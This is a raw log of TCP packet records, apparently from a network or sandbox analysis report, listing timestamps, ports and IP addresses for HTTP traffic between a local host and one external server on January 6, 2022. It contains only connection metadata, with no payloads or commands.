Jan 6, 2022 21:03:53.054368019 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054406881 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054420948 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054445028 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054450989 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054482937 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054522991 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054569960 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054575920 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054605007 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054610014 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054637909 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054672003 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054706097 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054732084 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054738045 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054763079 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054771900 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054805040 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054836988 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054857016 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054868937 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054892063 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054902077 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.057126999 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.057164907 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.057235956 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.057281017 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.230560064 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230597019 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230626106 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230654001 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230683088 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230710983 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230734110 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230762959 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230773926 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.230793953 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230794907 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.230814934 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.230822086 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230850935 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230863094 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.230880022 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230909109 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230917931 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.230935097 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230962038 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.230989933 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231005907 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231012106 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231040001 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231050968 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231070042 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231082916 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231097937 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231127977 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231137037 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231158018 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231185913 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231214046 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231226921 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231240034 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231264114 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231266975 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231296062 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231303930 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231324911 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231355906 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231368065 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231384993 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231411934 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231441021 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231453896 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231470108 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231493950 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231498003 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231523037 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231539965 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231553078 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231580973 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231592894 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231605053 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231633902 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231662035 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231686115 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231690884 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231718063 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231718063 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231748104 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231751919 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231775999 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231801033 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231811047 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231829882 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231858969 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231879950 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.231895924 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231940031 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.231987000 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.232836962 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.232887030 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.232892036 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.232914925 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.233068943 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.233119011 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.407779932 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.407845020 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.407876015 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.407907009 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.407947063 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.407985926 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408024073 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408025980 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408066988 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408072948 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408107996 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408122063 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408147097 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408185959 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408188105 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408230066 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408267975 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408305883 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408315897 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408344984 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408356905 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408385992 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408427954 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408463955 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408499956 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408505917 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408539057 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408546925 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408586025 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408596992 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408627987 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408667088 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408706903 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408736944 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408747911 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408776999 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408786058 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408827066 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408875942 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.408900023 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408942938 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408981085 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.408992052 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409022093 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409034014 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409064054 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409102917 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409142971 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409154892 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409183025 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409188986 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409223080 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409262896 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409300089 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409338951 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409365892 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409379005 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409419060 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409431934 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409461975 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409498930 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409509897 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409542084 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409581900 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409607887 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409632921 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409646988 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409677029 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409687042 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409728050 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409768105 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.409780025 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.409812927 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.585565090 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585632086 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585675001 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585715055 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585730076 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.585756063 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585773945 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.585797071 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585838079 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585880041 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585891008 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.585921049 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.585937977 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.585961103 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586000919 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586036921 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586041927 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586076975 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586076975 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586116076 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586153984 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586194038 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586198092 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586232901 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586236954 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586272955 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586312056 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586348057 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586354017 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586389065 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586389065 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586429119 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586468935 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586508989 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586513996 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586546898 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586553097 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586586952 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586626053 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586663961 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586680889 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586704016 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586715937 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586743116 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586782932 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586821079 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586832047 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586858988 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586859941 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.586899042 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586936951 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586972952 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.586977959 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587012053 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587013006 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587050915 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587090969 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587131977 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587133884 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587169886 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587172031 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587209940 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587249041 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587284088 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587296009 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587322950 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587322950 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587373018 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587409019 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587446928 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.587450027 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.587487936 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763115883 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763164043 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763309002 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763349056 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763364077 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763391972 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763402939 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763434887 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763473988 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763511896 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763514042 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763552904 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763564110 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763593912 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763633966 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763676882 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763688087 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763715982 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763716936 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763756990 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763797998 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763834000 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763837099 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763873100 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.763874054 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763912916 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763955116 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.763987064 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764007092 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764045000 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764055014 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764084101 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764123917 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764159918 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764163017 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764197111 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764199018 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764238119 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764276028 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764316082 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764317989 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764352083 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764364958 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764391899 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764431953 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764467955 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764471054 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764503002 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764507055 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764544964 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764584064 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764622927 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764624119 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764661074 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764661074 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764702082 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764741898 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764776945 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764780998 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764811993 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.764816046 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764913082 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764952898 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.764992952 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.765001059 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.765024900 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.765045881 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.765064955 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.765105009 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.765142918 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.765153885 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.765182972 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.765186071 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.815670013 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.942300081 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.942358017 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.942388058 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.942420006 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.942457914 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.942504883 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.942553043 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.942559958 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.943480968 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:54.119132042 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:56.710772991 CET	49790	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:56.887346029 CET	80	49790	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:56.887492895 CET	49790	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:56.887650967 CET	49790	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:56.887669086 CET	49790	80	192.168.2.4	198.11.172.78
